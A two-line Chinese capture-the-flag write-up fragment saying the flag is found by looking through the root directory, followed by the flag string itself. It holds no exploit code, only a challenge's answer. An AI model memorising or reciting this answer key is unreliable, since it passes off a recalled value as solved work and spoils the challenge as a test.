我们可以直接通过翻找root目录得到一串flag
flag{ae1d04dd3d15c6a18f904fe50fdf7eca}